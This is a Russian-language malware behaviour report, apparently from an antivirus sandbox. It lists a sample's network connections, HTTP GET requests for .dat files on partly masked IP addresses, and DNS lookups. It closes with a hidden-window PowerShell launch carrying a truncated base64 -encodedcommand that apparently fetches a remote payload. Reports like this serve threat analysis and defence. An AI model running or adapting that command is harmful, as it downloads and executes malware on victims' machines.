Техническая информация
Сетевая активность
Подключается к
- '74.##9.193.49':80
- 'mo#####.map.fastly.net':443
- '70.##.218.85':80
- '70.##.218.85':443
- 'x1.#.lencr.org':80
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
- '14#.#35.248.250':80
- '79.##1.174.253':80
- '87.##6.146.93':80
- '15#.#7.17.180':80
TCP
Запросы HTTP GET
- http://74.##9.193.49/oEXocARN.dat
- http://70.##.218.85/k9TTCIxDK.dat
- http://x1.#.lencr.org/
Другие
- '70.##.218.85':443
UDP
- DNS ASK mo#####.map.fastly.net
- DNS ASK x1.#.lencr.org
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
Другое
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQASQBzAGMAaAB1AHIAeQBUAGEAbwBpAHkAYQAgAD0AIAAoACIAaAB0AHQAcAA6AC8ALwA3ADQALgAxADEAOQAuADEAOQAzAC4ANAA5AC8AbwBFAFgA... (со скрытым окном)
